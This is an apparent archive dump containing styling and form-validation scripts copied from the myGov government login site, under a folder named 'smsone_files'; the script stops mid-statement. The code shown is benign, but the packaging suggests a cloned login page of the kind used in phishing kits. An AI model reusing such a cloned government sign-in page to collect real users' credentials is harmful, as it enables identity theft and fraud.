a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form #modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid #999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/smsone_files/mgv2-application.js.download000064400000224023151676702570016516 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i<hashes.length;i++){var hash=hashes[i].split("=");params[hash[0]]=hash[1];}return params;};global.getAndroidVersion=function(ua){var match=(ua||navigator.userAgent).match(/android\s([0-9\.]*)/i);if(match){return parseFloat(match[1]);}};global.isTouchDevice=(function(){try{document.createEvent("TouchEvent");return true;}catch(e){return false;}})();global.oneUseEvent=function(element,event,fn){function handler(e){fn.call(this,e);this.removeEventListener(event,handler);}element.addEventListener(event,handler);};$(function(){global.isMobileDevice=$(window).width()<=global.maxMobileScreenWidth&&global.isTouchDevice;});})(window.global=window.global||{});$(document).ready(function(){var $menuHitbox=$(".menu-hitbox");$menuHitbox.on("click",function(e){var $this=$(this);if(!$this.hasClass("open")){$this.addClass("open");$this.siblings(".global-menu").slideDown(function(){$this.addClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Close");}else{$this.removeClass("open");$this.siblings(".global-menu").slideUp(function(){$this.removeClass("open-on-mobile");$(this).removeAttr("style");});$this.find(".text").text("Menu");}});$menuHitbox.on("keyup",function(e){if(e.which==13){$menuHitbox.trigger("click");}});});$(document).ready(function(){cleanDefaultValues();$(".button-main").on("mousedown",function(event){if(event.button&&event.button!==0){return;}$("form input:visible:enabled").each(function(){if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"</"+elementType+">").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="<span id='errorSelect' class='hasError'></span>";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new 